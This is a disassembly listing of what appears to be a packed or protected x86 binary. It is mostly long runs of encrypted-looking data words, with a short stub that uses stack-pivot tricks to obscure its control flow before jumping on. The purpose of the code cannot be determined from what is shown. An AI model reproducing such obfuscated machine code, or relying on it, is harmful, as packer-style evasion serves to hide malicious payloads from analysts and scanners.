643B296Ah, 0D5B79E61h, 33B207Ah, 2E47905Dh, 16471C5Ah dd 891B90EDh, 7F751C53h, 1E3E6CE3h, 9A35606Fh, 0BD1FE4E3h dd 0F9B1526Fh, 2B0715ABh, 1BB61A66h, 0B3321564h, 783E10E3h dd 0A935606Fh, 242F2CE3h, 0D09526Fh, 4D0E19FFh, 0A7B91213h dd 1807162Bh, 81B72E21h, 313B296Ah, 33B79E61h, 563B2077h dd 843F905Dh, 43471C5Ah, 224390EDh, 2A751C53h, 0B43E04E3h dd 0CF35606Fh, 17011CE3h, 9409526Fh, 810E1973h, 0F9B10513h dd 2B073EAFh, 9A356066h, 0BD290CE3h, 0C109526Fh, 2B0E197Fh dd 94B91213h, 81073773h, 59B72E21h, 573B296Ah, 0D88F9676h dd 883B204Dh, 0C1B91213h, 2B073BBBh, 30B72E21h, 0FD3B296Ah dd 0D5B79E61h, 653B2070h, 1D17905Dh, 8F471C5Ah, 6EA390EDh dd 19751C53h, 2D3E38E3h, 0B22606Fh, 7119DCDBh, 2547156Fh dd 4790EDh, 0B3751C53h, 783E3CE3h, 0A122606Fh, 2419DCDBh dd 8F47156Fh, 763F90EDh, 19751C53h, 2D3E24E3h, 335606Fh dd 71109CE3h, 0A709526Fh, 180E1953h, 0DB91213h, 4D0702CFh dd 1BB72E21h, 643B296Ah, 0CDB79E61h, 33B2055h, 2E0F905Dh dd 16471C5Ah, 0BA1390EDh, 7F751C53h, 1E3E54E3h, 9A35606Fh dd 0BD37BCE3h, 0C109526Fh, 2B0E1923h, 94B91213h, 81070393h dd 0DB72E21h, 573B296Ah, 48B79E61h, 0CF3B2056h, 487F905Dh dd 25471C5Ah, 123390EDh, 0B3751C53h, 712FB4E3h, 0A935606Fh dd 2424D0E3h, 0D09526Fh, 4D0E1937h, 0A7B91213h, 18073D63h dd 5B72E21h, 313B296Ah, 0B78F967Fh, 113B296Ah, 35B11C13h dd 4D071707h, 0A9356166h, 243684E3h, 0D09526Fh, 4D0E19F7h dd 9FB10C13h, 180E19F3h, 0B3B6066h, 713074DBh, 2546156Fh dd 391B90EDh, 0B3751C53h, 783E40E3h, 0A935606Fh, 243A54E3h dd 0D09526Fh, 4D0E193Fh dd 0A7B91213h, 1807036Fh, 0D5B72E21h, 313B296Ah, 0FFB79E61h dd 563B2045h, 8453905Dh, 43471C5Ah, 285390EDh, 2A751C53h dd 0B43E70E3h, 0CF35606Fh, 173604E3h, 9409526Fh, 810E190Fh dd 0C1B91213h, 2B07085Fh, 1ECD1E21h, 883210E2h, 0BFD8FC66h dd 0A709EA99h, 18071783h, 88399069h, 0C1BF1566h, 2B09BD39h dd 0EEC9C68Fh, 51B72E99h, 4B3B206Ch, 22320DE3h, 9B8F9666h dd 893B296Dh, 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh dd 81B72E99h, 2D3B296Dh, 113219E2h, 41B72E66h, 4B3B296Dh dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h dd 11321523h, 838B905Dh, 0C13D1C5Ah, 2232156Dh, 73D690EBh dd 0E5DB153Eh, 7FCDEA9Dh, 1E39A8E3h, 1AB71A6Fh, 5321566h dd 1C514FE3h, 0D964FC66h, 9409EA99h, 810E1EA7h, 44399069h dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 241930D3h dd 1879C6Fh, 0C43B2043h, 0A73DFC58h, 11321540h, 8B336BEDh dd 0C5EC9E98h, 227215A5h, 348F2E66h, 873B204Dh, 44321DE4h dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h, 2B070BA3h dd 21BF90A1h, 88321C53h, 0CD521566h, 17179CD3h, 0DCAF986Fh dd 773B2940h, 66B01AB5h, 0AF321566h, 2BBD95FBh, 87E1EA6Fh dd 0BBCDCBE5h, 0AB879E99h, 983B2043h, 0BD0298D3h, 93AF986Fh dd 0DD3B2E0Dh, 34B79EB5h, 13B204Dh, 71179CE3h, 0BFBF746Fh dd 180E3650h, 15BFC699h, 4D0E3378h, 0A13DC699h, 1132156Ah dd 0ADBB90E5h, 0AD371C53h, 0DDCDEAB8h, 377588EBh, 5BCD1C5Ah dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h, 4D089AE6h dd 0A13DC699h, 1132156Dh, 0ADBBA0EDh, 0C4DB1C53h, 0A9321561h dd 24179CEBh, 1879C6Fh, 6F3B2043h, 9EBE2A8h, 0F896E697h dd 77CDEAF0h, 281D88EBh, 0F1CD1C5Dh, 9419D2EDh, 81070BA3h dd 6BE390EFh, 0A7B91C53h, 18070BA3h, 5BF4531h, 4D0979C2h dd 0A7B9C499h, 18071ABBh, 0DB94236h, 4D070BA3h, 0F1BF9836h dd 0EE3B2E0Ah, 3E29EB7h, 99BF3EAEh, 0A13B2069h, 24184CDBh dd 0C3D156Fh, 4432154Dh, 0D9B90EDh, 94191C53h, 81073F3Fh dd 0C23DD45Dh, 22321571h, 18F90EDh, 0D311C53h, 4D073F3Fh dd 0A0790EFh, 52DB1C53h, 0D9321566h, 497AD4EDh, 22321A99h dd 0B8B79C26h, 893B2049h, 7123B8E3h, 7BB7D26Fh, 113B204Ch dd 0E2321566h, 54327D26h, 48631566h, 0E0A7EA66h, 773B2047h dd 71168CF3h, 9FB79C6Fh, 983B2076h, 0BD1A20E3h, 0F1CD4C6Fh dd 2B073D53h, 1EEFA099h, 77651C53h, 712CD0D3h, 47B7986Fh dd 0EE3B2E17h, 0D1BF14B6h, 0CF3B204Ch, 171A20DBh, 0CC879E6Fh dd 7B3B2069h, 79879EC2h, 8F3B207Ah, 11CE53A1h, 49321566h dd 0A63710A6h, 214E2687h, 2403FCE3h, 0BDBF9E6Fh, 0CD3B204Eh dd 64F5B86Eh, 1132159Ah, 0B5879C66h, 0C73B207Ah, 0A73DEA9Eh dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h, 113213A1h dd 4EB11566h, 79879C62h, 0CB3B207Ah, 0EECDE380h, 8B31D5A7h dd 7103FCE3h, 0EF8F966Fh, 103B2071h, 88AF9169h, 7AB31566h dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h, 22321566h dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 2053A8E5h, 1E331C53h dd 88322BE2h, 4532AD66h, 9FB11566h, 180E1EB7h, 80B61A66h dd 0C9321566h, 1946B3FBh, 91E1EA6Fh, 0C3D8559h, 4432156Eh dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h, 88A2A566h dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h dd 0B439C4DBh, 0C03D156Fh, 2232156Eh, 654488EBh, 5BCD1C5Dh dd 0CF3652EEh, 171A20E3h, 92F53E6Fh, 2599118Eh, 44CE53A1h dd 0CB321566h, 0EECDEA77h, 940FA0EFh, 2C601C53h, 22329566h dd 0A4CD150Ch, 810707B7h, 6FEB8099h, 0A9681C53h, 241EA0EBh dd 8833D26Fh, 0C7321566h, 0AFBB11A7h, 180739D3h, 77C7058Fh dd 4296FC99h, 0A9521566h, 241EA0EBh, 13B9E6Fh, 7839D8EBh dd 6C0A946Fh, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h dd 113205E3h, 0BC29E66h, 0C1B913A0h, 2B073E5Fh, 1133138Fh dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh, 0C3D385Ah dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 21879866h dd 0A93B206Ah, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 2B071903h, 0A7B90EDh dd 48B71C53h, 44289069h, 0A7F41566h, 180702FBh, 2FE07D21h dd 0F1CDC1FCh, 2B07031Bh, 6A4290EBh, 58CD1C5Eh, 0C1E2EA34h dd 1AB71AA6h, 9A321566h, 0BD230CE3h, 4BF2906Fh, 22320FE3h dd 8CB7D366h, 0C43B2071h, 9E2EFC0Eh, 5F87EABFh, 9C3B2070h dd 0B04965E3h, 16E2EA6Fh, 0E2B7C599h, 11379069h, 0A9DB1566h dd 0CD321566h, 1E39D8E3h, 9C64456Fh, 0B0AA2EE3h, 4FE2EA6Fh dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh, 0A952D607h dd 2D39D8EBh, 49B9456Fh, 0CF0E5565h, 22329DF6h, 88A79C66h dd 8D3B206Ch, 4432159Eh, 0AB3E45EDh, 243958F3h, 0CCB94D6Fh dd 85193142h, 297F905Dh, 933D1C53h, 88321576h, 4EAB905Dh dd 0A13D1C53h, 11321562h, 8836D707h, 6036D207h, 22321566h dd 151651A1h, 88321566h, 443210DEh, 20BF9866h, 0EE3B202Ah dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah, 88321524h dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h, 0C03DFE5Ah dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h, 0EAC99667h dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h, 0A89ED555h dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h, 113230E2h dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h, 0C1F5D638h dd 2B0E19FBh, 11321560h, 6BB20BECh, 0C4C99596h, 0DDD19069h dd 9A7CEA99h, 0BD1930E3h, 0C9A79E6Fh, 0A93B2056h, 17F196B8h dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh dd 7BBA0EFh, 4A6D1C53h, 4CB14B3Fh, 0BE52FC62h, 0A7F5EA99h dd 180E19FBh, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h, 8832EA87h dd 0CFEB3E66h, 171930E3h, 9CA79E6Fh, 0B3B2056h, 713444DBh dd 0A63D146Fh, 113215C5h, 0A3DCD5Dh, 443215FDh, 0A03DCF5Dh dd 0EECDEA27h, 88329B8Fh, 0D9B7D266h, 203B296Ah, 9A321566h dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 4D073E43h dd 12BF80EDh, 0ACB11C53h, 81071337h, 0CB61A67h, 19321566h dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h dd 8B2A568h, 85381A87h dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 71179CD3h, 73B7D26Fh dd 103B2060h, 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h dd 40F69638h, 0DDCBD28Fh, 8CB7D299h, 8D3B296Ah, 0CF321566h dd 26F196B8h, 94B90B65h, 81073E43h, 74BF80EDh, 0A17C1C53h dd 2432FCDBh, 0C3D146Fh, 44321465h, 0A03DCD5Dh, 1132156Eh dd 0E3DCF5Dh, 4432154Dh, 7BBA0EFh, 8CB91C53h, 810E19FBh dd 48164967h, 2232CB8Fh, 94F54A66h, 8107158Fh, 44321567h dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 713444DBh, 0A63D146Fh dd 113215DDh, 0A317884Dh, 0C9B91C53h, 2B070BA3h, 0DE19DE65h dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h dd 0C1F5EA99h, 2B0E19FBh, 11321564h, 3E3DCBEDh, 0C4CB9568h dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h dd 1132EA87h, 3EB3E66h, 711930E3h, 0AFA79E6Fh, 0F83B2056h dd 77CDEA20h, 48AF90A1h, 22301C5Ah, 0CFB91566h, 83CA369h dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h dd 0DDD394BFh, 3A321566h, 0ADB79EBFh, 0CF3B204Dh, 170298F3h dd 408F966Fh, 893B2060h, 0BAFB9169h, 0FA09EA99h, 113A9769h dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h, 0C9B1CA4Dh dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h, 113255E2h dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h, 1EDB1566h dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h dd 74BF98EDh, 0EBB71C53h, 11349069h, 3DBB1566h, 4D0725EBh dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h, 0A2C2F6E6h dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h, 953DFE5Ah dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah, 88321551h dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h, 0A70E1566h dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h, 240298D3h dd 5FAF986Fh, 0BB3B2E0Dh, 72F1ECB5h, 982253EDh, 0BD163CE3h dd 82B14D6Fh, 838F987Ah, 0BC3B2060h, 0AC165165h, 0BD8F98CDh dd 8F3B2066h, 35165165h, 35BFBE36h, 4D0705E3h, 67616CBh dd 0D26CBE4Eh, 38AF9830h, 0BB3B2E0Dh, 0FF95FCB5h, 0CEDFFFFFh dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 7E453BC0h, 0A8ED96ABh dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4CB1DF49h, 6E32DCF1h dd 0BA832EE1h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h dd 6F622238h, 0DF074623h, 5D939A98h, 3C6D5h, 5492B85Eh dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0C53EBC2Fh dd 3C525F6Ch, 8A5A7411h, 0B977DDDCh, 0F4B95163h, 0B575DF79h dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh dd 83074148h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 0C117FB23h dd 25F44152h, 0FDF53FD5h, 4E10E5ADh, 0B734229Eh, 23AC7ACFh dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 7CC69469h, 98DBFFA0h dd 0C87D7314h, 0F305E983h, 8DDB8BA4h, 3C0CA9BDh, 908D8D09h dd 0B8093C27h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h dd 0F2850F49h, 8BFFFFFFh, 0A1BD83C0h, 93526h, 0BD830975h dd 9353079h, 50197400h, 0B8C08B53h, 411h, 2CA98589h, 9D8D0935h dd 937B49Fh, 585BD3FFh, 3079BD83h, 74000935h, 0B8535017h dd 411h, 2CA98589h, 9D8D0935h, 937B140h, 585BD3FFh, 0F2BBC08Bh dd 0EB4672A4h, 0CD8F5D04h, 55EE976h, 31230000h, 0DC510794h dd 0F20D8C5h, 0DF570992h, 61FE1BAh, 78110A93h, 9DFE9B92h dd 485540DBh, 9C019E90h, 4E4F48E4h, 466C325Ah, 4212FA18h dd 2B473291h, 58D143AEh, 88A45C41h, 3797021Fh, 364123A9h dd 5F91171Ch, 930C2094h, 253A833Bh, 0E1796C79h, 71A8E15h dd 73F2579Ah, 233AC481h, 57C93BB6h, 0CB25A74Ah, 24BDB12Bh dd 726F0177h, 1CB9B729h, 0CDC863D5h, 0E550C101h, 6F5346DDh dd 11EFD48Ah, 0EC73831Eh, 0A0A58FFCh, 6292071Eh, 346976E8h dd 8B2427Ah, 2D24B001h, 0BEDB57C9h, 0F26D8F33h, 3E810FE7h dd 6E1C35C3h, 6012E1F6h, 0BAADD282h, 0ACC53B56h, 556C62Dh dd 4F775C1Fh, 0DF05B2ADh, 1C3545D5h, 0D221CFD1h, 6B59A64Eh dd 50F61B72h, 0AB4C89h, 84760000h, 5D04F0E9h, 0C609B915h dd 0F937F94Fh, 9C804A98h, 60721C35h, 8880B35Fh, 0D91DC301h dd 23CECB67h, 36363195h, 0D3CE611Ch, 27B0AC20h, 0CF865CCh dd 0AB996C69h, 86130CAEh, 0D3D9E96Bh, 40300E85h, 88C56D89h dd 0DF895098h, 1, 812A47B0h, 616BAD44h, 0E4FAD26Dh, 1C361CDEh dd 0D71AD4DAh, 83495733h, 771C361Ch, 160B8571h, 38C2688Bh dd 0B83CB720h, 2DAAC23Ch, 0BCD952C6h, 30ADC335h, 9282D3C1h dd 6E9036D7h, 9F11E0F5h, 58DC1782h, 23115E96h, 0FD9A9426h dd 88272F6h, 490F8C15h, 0D7CFCCD5h, 0A64E4BE5h, 0AB2E4707h dd 4059D448h, 4F7B43B1h, 36412B91h, 7D791F1Ch, 0D0493C28h dd 100CD4C9h, 34C66C87h, 0E7599D3Ah, 0E9C05D48h, 6A896772h dd 8E908E6h, 4796B79Dh, 40895000h, 0A1h, 0AB2E478Fh, 93396723h dd 871C3641h, 680E9561h, 3AB9DE56h, 53CC3EB6h, 4B001418h dd 23CD4D64h, 821F11ABh, 8A09ED6Fh, 79781D16h, 876A6F07h dd 0FBD8CC19h, 35B0DFE5h, 1BD5DB1Ch, 0C48173F2h, 3DB9263Ah dd 6E2FAAC3h, 666673EAh, 3ABADF54h, 72ED0FB3h, 93396767h dd 871C35B0h, 31B9561h, 0B9098EA6h, 0BDECC3B5h, 39B836E8h dd 0E2E7CD58h, 9BD2F8A6h, 6C021C35h, 0AD53556Fh, 31D125B4h dd 8950A5ECh, 93041C9Eh, 7118DC60h, 3Ch, 0AB2E4722h, 3D5AD448h dd 17FD1EB6h, 0CFCCCD64h, 76EB15DCh, 1914886Bh, 14866E80h dd 49D9019h, 567907EAh, 5B1C3641h, 0C7D24973h, 0F74CA82Ch dd 0FA014C0Dh, 166894Fh, 25000000h, 46AD2847h, 0B2415ED2h dd 41B0253Eh, 0AC4752CFh, 82654FBCh, 0D6A19300h, 805F3C59h dd 33715D35h, 150363A4h, 299B5658h, 0DAAB7E35h, 3BB6233Ch dd 7EDB09B9h, 7F019A54h, 6DFBF6E3h, 13013249h, 29DCC855h dd 6020AC35h, 1770C03Dh, 7B50A425h, 81706905h, 6B86130Fh dd 0D1A490FDh, 6F57445Dh, 44FC090Fh, 0C13595B0h, 8582EC21h dd 1377B92h, 2E4C0000h, 0D50BC39Bh, 15035F4Eh, 9E3B34CAh dd 0AF1FD153h, 24FFC5DBh, 0F5FB1301h, 120E8201h, 4E2E1885h dd 2BBAD68Fh, 0DE50A4FFh, 49795542h, 1F0AB91h, 0F37A7A04h dd 0FDF4ED81h, 0EB06938Bh, 0FCF7E279h, 775C4895h, 0A36369h dd 9F515713h, 790CF865h, 0AB9FFCE5h, 92859762h, 3C05h dd 872EC600h, 23D907C7h, 971C3642h, 6852E211h, 771C3641h dd 29B0A953h, 0B63D58D7h dd 876DC232h, 0B814D4DBh, 3641D02Ah, 5FD2E41Ch, 41388220h dd 0AA2C1C36h, 0F9F1AA44h, 9Dh, 0D39B2E5Ah, 0C3DC505Dh dd 0B903A12Dh, 0AD1C3641h, 0DB09C52Bh, 15036974h, 42881672h dd 36130116h, 3C861CB0h, 38130116h, 0E903EB6h, 0E4FD71E3h dd 4B58D6E8h, 0CF27C9D4h, 0EDEA86FAh, 0C15E6006h, 0A34E4BE4h dd 0A024CF21h, 17C9BE54h, 0CA671301h, 0B8B024CFh, 0F06DD41Fh dd 0AA7B6104h, 4653CFBAh, 673F8A55h, 3F8C3967h, 6E700BD5h dd 1C001E5Eh, 0D8595B2Bh, 0F23951Ch, 75ED5F92h, 41B8D64h dd 0C6A85A99h, 0E34CF9A7h, 1D071EC1h, 0C9BB285Ah, 12BA9225h dd 16ADFCCh, 0CAD3D515h, 0C39B2EE9h, 6AE8D50Bh, 0CACC150Ah dd 20B9B527h, 7F1C12ACh, 42DEA277h, 7A0E9E55h, 0B65A8BBAh dd 64D81BB8h, 9427CACFh, 27E4876Dh, 0D4C55D5Fh, 65B9B1Dh dd 0EAF76B1Eh, 6F03FDB1h, 14088272h, 7CF4688Bh, 2826E12Dh dd 6C926819h, 8D0FE2F7h, 1C9063h, 77E85C97h, 4C99876Ah dd 76E79D58h, 7A67FB8Eh, 0D6C35F21h, 0C341C6F6h, 0A61ABFB6h dd 0A94DF5DCh, 8402Ah, 4F910000h, 0F4E57D7Fh, 15476100h dd 53CF41B0h, 2739AB46h, 0AEC537BAh, 0DD54C82Bh, 0AAC335BCh dd 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 505D2AC9h, 405E089h dd 83000000h, 48704E8h, 4895C24h, 0A066824h, 34890000h dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 241C895Ch dd 71F3BA52h, 0CA812F1Eh, 0E3D0F9Ch, 56DBF281h, 89532603h dd 5BDE89D3h, 4EC815Ah, 89000000h, 4832424h, 525B0424h dd 8B951h, 0CA890000h, 89DA0159h, 34FF5A32h, 0C4815B24h dd 4, 5E2434FFh, 0E904C483h, 0FFF95060h, 9F99820Bh, 4062446h dd 21847A73h, 3C2DFDB8h, 0FFC50309h, 1AE7AE0h, 2BD5B278h dd 0BC101F58h, 9DDEE86Dh, 6813E213h, 1ABC237Fh, 8EB3Eh dd 0E5000000h, 0E90687A8h, 4A9h, 3C2FC168h, 501AE909h dd 4D68FFF9h, 0E9093C30h, 0FFF95010h, 3C318F68h, 5006E909h dd 0C577FFF9h, 2845BBE0h, 0FB74ECB1h, 233BBDDEh, 0FA73E5B6h dd 84F5BEDFh, 316A6F06h, 7C21B4AFh, 306D6A04h, 722BB4A8h dd 0EAD00EBEh, 0DE12FA13h, 2E470EADh, 0C53BA6BBh, 2FC22CADh dd 6338A1BDh, 75593184h, 852F7519h, 8B1C3641h, 36416F55h dd 7F456B1Ch, 84079D59h, 70150361h, 0D3F5836Eh, 313011Eh dd 0CF7F726Fh, 6EEE179Fh, 3D35CB9Dh, 0BF5E647Ah, 545A1300h dd 0FC69579Ah, 6A246D08h, 33BEDB50h, 4F045B1h, 857C0A43h dd 2B55D92h, 492E0000h, 4DCE70Ah, 55271AC8h, 8B0D1503h dd 0D62AD93h, 1EA0D81Eh, 118EA207h, 8EA014DFh, 905EE211h dd 0EC6D164h, 0DB6520BEh, 1D6520B2h, 0D9F7AEB0h, 0CC23225h dd 0AC6E795Ch, 28C6C46Dh, 0B36B3EC9h, 0AFBB851Bh, 29BF179Dh dd 8747A930h, 0BBE0F975h, 34B02945h, 0DDF3B669h, 0BB05ED74h dd 86000002h, 2AAEEFD4h, 6FF1AA37h, 40B8E5F0h, 6AEEAF28h dd 0FEB5E6F3h, 7564FD8Dh, 1EBBB028h, 7865FB7Dh, 0D8C15D23h dd 23C10DC3h, 12FA1299h, 2EBB008Dh, 0B30BC39Bh, 9EE3D5B0h dd 47F30361h, 33994783h, 271C3544h, 74DF7581h, 7015096Fh dd 742A5E6Eh, 12F96E4Eh, 0CC5B764Ah, 88360F7Eh, 9EEA8E66h dd 65D706DEh, 6A644C15h, 0CDD08D2Eh, 0B12BCB25h, 47C21B8h dd 0F7856C6Dh, 0DA8D6BA2h, 0E105928Eh, 0E066710Ah, 2F6650D3h dd 0FA000002h, 5E227B58h, 13C5D6C3h, 641C811Ch, 0ED2CBCCh dd 22198217h, 1188A169h, 3A5FD48Ch, 14819F61h, 445DD187h dd 871D7157h, 12FA113Dh, 2E27AC39h, 0D50BC39Bh, 150A6C8Eh dd 0E5F26A94h, 0B63D6311h, 6277EE10h, 5BE90D8Fh, 12FA1375h dd 0C5AF36h, 2A0403C0h, 8373CAFEh, 8C91B2DBh, 165B592h dd 47160000h, 7193802Bh, 9B1836DAh, 362A9E55h, 4053F4A9h dd 0A2BA4488h, 0BA3ABE35h, 5D8DD00Eh, 5D831503h, 20C00696h dd 24811301h, 1EB61730h, 33B19285h, 0E2000000h, 0BC39B2Eh dd 3724AD5h, 24FAAE15h, 3F247F12h, 0A9537B75h, 44C82BB6h dd 1DA331B0h, 0DE1300B1h, 91BC9D87h, 0D9928589h, 0A74F4AE7h dd 0B800h, 2B47CF00h, 0DF9F43AEh, 6B037266h, 2497526Eh dd 9B920CE8h, 6A84110Eh, 80191587h, 0E301CD71h, 1C3613D9h dd 0B12BCBCDh, 60F802BDh, 0EAF87C77h, 1C3613E0h, 86234BD2h dd 962CFBBBh, 1FBDDE10h, 1C36224Bh, 8D0E8BA7h, 9F2FE7B2h dd 0A45D49DFh, 7480D023h, 0F14F1AC8h, 0A3451501h, 0D21F5F2Bh dd 5E7D1963h, 0B1A822D2h, 74ED7328h, 0C8608165h, 0B63DF2D9h dd 0EDCCh, 3D9AB800h, 1C859860h, 7B66F97Fh, 0D1C65E22h dd 7C1D14CCh, 0A367141Fh, 0CA8E0F8Ah, 0A1574451h, 0D789128Fh dd 6B5D3E5Bh, 10377D23h, 0A23312FAh, 0AB2E4721h, 0E5F26EF2h dd 395CD7E9h, 0E9BE36BAh, 0AE2B474Ah, 545DD143h, 0B537BADFh dd 3285623Bh, 8816725Ah, 1C364142h, 9844B036h, 30DC20Ah dd 9834BA15h, 118A0F26h, 128FA31Dh, 7F814CAEh, 14E02A7Bh dd 8D387Eh, 0EBF46813h, 0A2372EB2h, 68674Fh, 2EA80000h dd 0D50BC39Bh, 150A6C9Ah, 0F599587Eh, 22EEE78Dh, 0CE30D7AFh dd 3CAE4653h, 0E1B68920h, 3392BA09h, 418E0BDh, 9489339Bh dd 0DA6AE90Dh, 0A519D2Bh, 0EE998BDAh, 57696572h, 943AB9DCh dd 0AE9A644Eh, 0B03E6015h, 7DF16744h, 31B8D64h, 206D5B96h dd 0B42D4134h, 0E4FD71E7h, 3D5AD6E8h, 3503AB9h, 81000000h dd 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh, 0DD54C82Bh dd 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 525D2AC9h dd 0C281E289h, 4, 8704EA83h, 895C2414h, 8956241Ch, 4C681E6h dd 81000000h, 4EEh, 24348700h, 2414895Ch, 81E28952h, 4C2h dd 4EA8300h, 5C241487h, 57240C89h, 0A50069BFh, 92E7817Bh dd 81280C38h, 941EB3EFh, 0E1BB5352h, 3124DC30h, 0EF815BDFh dd 9D03197h, 7145EF81h, 0FA89DEA7h, 4EC815Fh, 89000000h dd 4832424h, 52590424h, 0E8240481h, 8F6D1428h, 0BF570841h dd 6D1428E8h, 5F087929h db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_5464A4 ; --------------------------------------------------------------------------- aJq db '├О,:',0 dw 25FCh dd 0A9422094h, 32A1B8E5h, 0C503093Ch, 49C9E0FFh, 0F6023219h dd 0EE112EB8h, 6EA23407h, 548B7BC0h, 3BC1306Ch, 19C56A29h dd 2D45566Dh, 0B75F1D69h, 0BFD73D5h, 0E9F95BFFh, 890D4BF6h dd 26664B5Ch, 1DB62399h, 21BA06D1h, 0E7C00AB0h, 4F361C3Fh dd 465D63D3h, 0BC8C769Eh, 0C29F2193h, 0E5535FDCh, 297B3BA5h dd 0EDE90E39h, 60000000h, 0A8D88C66h, 0DF840F04h, 8B000000h dd 3521E5B5h, 0FE8309h, 22850Fh, 85C60000h, 935179Dh, 69696845h dd 0B5FF8E72h, 9350EC9h, 7B70858Dh, 0D0FF0938h, 1AC98589h dd 0F08B0935h, 0FE93E80h, 3185h, 59858D00h, 0FF093A87h dd 5BD8BD0h, 8109350Ch, 1184C7h, 0E5B58B00h, 87093521h dd 8B9F7h, 0A4F30000h, 21E5B58Bh, 858D0935h, 938A94Eh dd 0B58BD0FFh, 9352385h, 0F00FE83h, 2285h, 9D85C600h, 54093517h dd 4EBEF468h, 0C9B5FFFFh, 8D09350Eh, 387B7085h, 89D0FF09h dd 35238585h, 80F08B09h, 850FE93Eh, 3Ah, 2385B58Bh, 858D0935h dd 93A8759h, 